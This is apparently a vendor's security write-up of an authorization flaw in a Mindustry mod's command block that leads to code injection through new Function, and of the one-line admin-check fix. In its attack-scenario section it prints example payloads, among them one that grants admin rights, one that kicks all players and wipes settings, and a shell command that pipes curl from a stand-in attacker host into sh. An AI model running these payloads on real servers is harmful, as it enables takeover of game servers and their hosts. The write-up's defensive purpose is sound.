Answer Summary
This is a missing-authorization flaw (CWE-862) that chains into JavaScript code injection (CWE-94/CWE-95) in a Mindustry mod script, scripts/CommandBlock.js. The EventType.TapEvent handler validated only that the tapping player's team matched the block's team before dispatching privileged commands such as clear-all-units, change-team, fill-core, and run-javascript, the last of which evaluated raw showTextInput text via new Function(text)(). The fix is to enforce a real privilege check — if (!e.player.admin) return; — before any command is parsed or executed, so only server admins can reach the dispatcher; the stronger long-term fix is to remove the new Function() sink entirely and replace it with a fixed allowlist of named commands.
Vulnerability at a Glance
| Field | Value |
|---|---|
| Vulnerability | Missing authorization on privileged commands → JavaScript code injection |
| CWE | CWE-862, CWE-94, CWE-95 |
| Severity | Critical |
| File | scripts/CommandBlock.js (handler starts at line 4) |
| Language | JavaScript (Mindustry mod scripting, Rhino engine) |
| Root cause | Team membership used as an authorization decision |
| Fix | if (!e.player.admin) return; before command dispatch |
Introduction
The scripts/CommandBlock.js file implements a mod-provided "command block": tap a block on the map, get a menu, and run an administrative action against the running game. It supports things like clear-all-units, change-team, spawn-unit, toggling game rules, fill-core, and — most dangerously — run-javascript, which prompts the player for text with Vars.ui.showTextInput(...) and then evaluates it with new Function(text)().
The problem was not the existence of these commands. Admin tooling is legitimate. The problem was the gate in front of them. Here is the entire access-control logic that existed before the fix, at the top of the EventType.TapEvent handler:
Events.on(EventType.TapEvent, e => {
try {
if (!e || !e.tile || !e.player || !e.player.team()) return;
const tile = e.tile;
const player = e.player;
// ...later: if (tile.team() != player.team()) return;
// ...then: switch on the selected command
That first line is a null check, not an authorization check. !e.player.team() asks "does this player have a team?" — which is true for essentially every connected player. The only other filter, further down, is tile.team() != player.team(), which asks "is this player on the same team as the block?" Neither question is "is this player allowed to reconfigure the server and execute code?"
If you write mod scripts, plugins, Discord bots, admin panels, or any event-driven handler that performs privileged actions, this is the exact failure mode to internalize: presence is not permission.
The Vulnerability Explained
The sink: new Function(text)()
Reconstructing the relevant branch of the dispatcher, the run-javascript command looked structurally like this:
// scripts/CommandBlock.js — vulnerable pattern
case "run-javascript":
Vars.ui.showTextInput("Run JavaScript", "Code", 500, lastCommand, text => {
lastCommand = text;
new Function(text)(); // <-- arbitrary player-supplied code, executed
});
break;
new Function(text)() is eval wearing a hat. It compiles the string text into a callable and invokes it immediately, in the mod's own runtime context. In Mindustry, that context is not a sandbox — the script scope has direct handles to:
Vars— the entire game state singleton, includingVars.netServer,Vars.netServer.admins,Vars.state,Vars.world,Vars.playerCore—Core.settings(persisted configuration on disk),Core.app,Core.filesGroups— every live entity:Groups.player,Groups.unit,Groups.build- Rhino's Java bridge —
Packages.java.*, meaningPackages.java.lang.Runtime,java.io.File, and friends
The chain: two steps to full compromise
The PR classifies this as a 2-step chain, and that is exactly right:
- Step 1 — Authorization bypass. An attacker joins the server as an ordinary, non-admin player. On the vast majority of public Mindustry servers, players either pick a team or are auto-assigned to the dominant one. Satisfying
tile.team() == player.team()costs the attacker nothing — often it is satisfied by default the moment they spawn. The!e.player.team()null check is passed automatically. - Step 2 — Code injection. The attacker taps the command block, selects
run-javascript, and types whatever they want into theshowTextInputdialog.new Function(text)()runs it.
A concrete attack scenario
Suppose an attacker joins a public survival server that runs this mod. They tap the command block and enter:
// Step 2 payload — typed into the run-javascript showTextInput dialog
Vars.netServer.admins.adminPlayer(Vars.player.uuid(), Vars.player.usid());
They are now a permanent admin, persisted into the server's admin database — the compromise survives a restart, and every other admin-gated feature on the server is now open to them.
Or, if griefing is the goal:
Groups.player.each(p => Vars.netServer.kick(p.con, "bye"));
Vars.state.rules.infiniteResources = true;
Core.settings.clear();
Or, escalating out of the game entirely via Rhino's Java access:
Packages.java.lang.Runtime.getRuntime().exec(["sh","-c","curl attacker.tld/x.sh | sh"]);
That last payload is why the severity is critical rather than "annoying griefing." The blast radius is not the map — it is the machine hosting the server, its filesystem, its credentials, and anything reachable from its network.
Why the team check was never a control
It is worth being explicit about the design mistake. tile.team() and player.team() are gameplay attributes. They describe alliance in a match, not trust in the operator sense. They are:
- Attacker-influenceable (team selection, auto-assign, team-change events)
- Non-identity-bound (nothing ties a team to a verified account)
- Mutable mid-game — ironically, this very command block exposed a
change-teamcommand
Using a mutable, attacker-influenceable gameplay attribute as an authorization predicate is the textbook shape of CWE-862.
The Fix
The patch adds one line — but it is the line that establishes the trust boundary, and it is placed before any tile or command data is even read.
Before:
var lastCommand = "";
Events.on(EventType.TapEvent, e => {
try {
if (!e || !e.tile || !e.player || !e.player.team()) return;
const tile = e.tile;
const player = e.player;
After:
var lastCommand = "";
Events.on(EventType.TapEvent, e => {
try {
if (!e || !e.tile || !e.player || !e.player.team()) return;
if (!e.player.admin) return;
const tile = e.tile;
const player = e.player;
Why this specific change works
- It gates the dispatcher, not individual commands. Rather than sprinkling checks into the
run-javascript,change-team, andfill-corebranches — where one forgotten branch reintroduces the bug — the guard sits at the single entry point of theEventType.TapEventhandler. Every command in the switch is now unreachable for non-admins, including any command added later. - It runs before parsing. The check precedes
const tile = e.tile;and the entire command-selection flow. That means non-admin taps never touch the parsing logic, never open theshowTextInputdialog, and never reachnew Function. The attacker's Step 1 now fails, which kills Step 2 by construction. - It uses an identity-backed flag.
player.adminin Mindustry is backed byVars.netServer.admins, which is keyed to a player's UUID and USID — a real identity record maintained by the server operator — not a gameplay attribute the player can flip at will. - It preserves legitimate behavior. Admins tapping a command block get exactly the same menu and exactly the same commands as before. The PR's behavior-preservation note holds: only untrusted input paths are tightened.
Ordering matters
Note that the new guard is placed after the null checks. That is deliberate and correct: e.player.admin would throw if e.player were null, and in a TapEvent handler an exception per tap is its own denial-of-service. Null-safety first, authorization second, business logic third.
What the fix does not do (and what to do next)
This patch closes the exploitable path, and that is the right immediate action. But new Function(text)() is still present in the file, now reachable by admins. Defense in depth suggests two follow-ups:
// Better: replace the free-form eval sink with an allowlist dispatcher
const COMMANDS = {
"clear-all-units": () => Groups.unit.each(u => u.remove()),
"fill-core": () => fillCore(tile),
// no "run-javascript" entry at all
};
const handler = COMMANDS[selected];
if (!handler) return; // unknown command → no execution, no eval
handler();
- Delete
run-javascriptfrom the in-game UI. Arbitrary code execution belongs on the server console (where access is already governed by shell/OS permissions), not behind a tappable block on a live map. If it must exist, gate it behind a separate, explicitly opted-in flag and log every invocation with the invoking UUID. - Audit-log privileged commands. Even admin actions should be attributable: record
player.uuid(), the command name, and the arguments so that a compromised admin account leaves a trail.
Prevention & Best Practices
Distinguish identity, context, and permission. Three different questions get conflated constantly:
- Does this object exist? →
!e.player(null safety) - Where is this actor in the world? →
tile.team() == player.team()(gameplay/context) - Is this actor allowed to do this? →
player.admin(authorization)
Only the third one is a security control. In CommandBlock.js, the first two were present and the third was missing.
Check authorization at the entry point, not per-branch. A switch with six privileged cases is six chances to forget a check. One guard at the top of the handler is one thing to review and one thing to test.
Treat eval / new Function as an unfixable sink. No amount of string filtering makes new Function(userText)() safe — JavaScript has too many ways to construct equivalent code (String.fromCharCode, template literals, property access chains, Rhino's Packages). The only reliable mitigation is to not build code from untrusted strings. Prefer a lookup table of named operations with typed parameters.
Remember that game mod runtimes are not sandboxes. Mindustry's Rhino scope reaches Java classes. A "just a game script" injection is a host-level RCE. The PR's threat-model note ("exploitation requires the user to load a crafted ROM, save file, or game asset") understates it for the multiplayer case: here the attacker only has to join a server that already loaded the mod.
Detection techniques:
- Grep your mod and plugin sources for the sinks:
eval(,new Function(,setTimeout(",Packages.java.lang.Runtime - Grep for the anti-pattern gate: any handler that performs state mutation whose only precondition is a team, room, channel, or lobby comparison
- Run a dataflow scanner (Semgrep, CodeQL) with rules targeting
new Functionfrom user-controlled sources - Write a negative test: simulate a
TapEventfrom a non-admin player and assert that no command executes
Standards references: OWASP Top 10 A01:2021 Broken Access Control and A03:2021 Injection; CWE-862 Missing Authorization; CWE-95 Eval Injection; ASVS V4 (Access Control) requirement that access control decisions be enforced server-side on a trusted, non-user-modifiable attribute.
Key Takeaways
if (!e.player.team()) return;inCommandBlock.jswas a null check masquerading as an access-control check — it passes for every connected player and authorizes nothing.- Team membership (
tile.team() == player.team()) is not an authorization primitive in Mindustry, especially in a command block that itself exposes achange-teamcommand. new Function(text)()fed byVars.ui.showTextInputgave any same-team player a live JavaScript console with reach intoVars,Core,Groups, and — via Rhino —Packages.java.lang.Runtime.- The fix,
if (!e.player.admin) return;, is placed after the null checks and beforeconst tile = e.tile;so that non-admin taps never reach the command dispatcher, theshowTextInputprompt, or the eval sink. - Closing the authorization gap is necessary but not sufficient:
run-javascriptshould be removed from the in-game palette entirely and replaced with a fixed allowlist of named commands.
How Orbis AppSec Detected This
- Source: Player-controlled text from
Vars.ui.showTextInput(...)in therun-javascriptbranch, reached by an unauthenticatedEventType.TapEventfrom any connected non-admin player. - Sink:
new Function(text)()in therun-javascriptcommand handler inscripts/CommandBlock.js(handler registered at line 4), plus the privileged state-mutating commandsclear-all-units,change-team,spawn-unit,fill-core, and the game-rule toggles. - Missing control: No privilege verification before command dispatch. The handler's only preconditions were a null check (
!e.player.team()) and a gameplay team comparison (tile.team() == player.team()) — neither of which is identity-backed or resistant to attacker influence.player.admin/Vars.netServer.adminswas never consulted. - CWE: CWE-862 (Missing Authorization), chaining into CWE-94 (Improper Control of Generation of Code) and CWE-95 (Eval Injection); parent CWE-284 (Improper Access Control).
- Fix: Added
if (!e.player.admin) return;as the first authorization gate in theEventType.TapEventhandler so non-admin players never reach command parsing or thenew Functionsink.
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
The bug in scripts/CommandBlock.js is a great teaching example because the code looked defended. There were guard clauses. There was a comparison. There was even a null check on e.player.team(). What was absent was the only question that mattered: is this player an admin? Without it, a gameplay attribute became the sole barrier between an anonymous player and new Function(text)() — and through Rhino's Java bridge, the server host itself.
The one-line fix, if (!e.player.admin) return;, placed at the top of the `T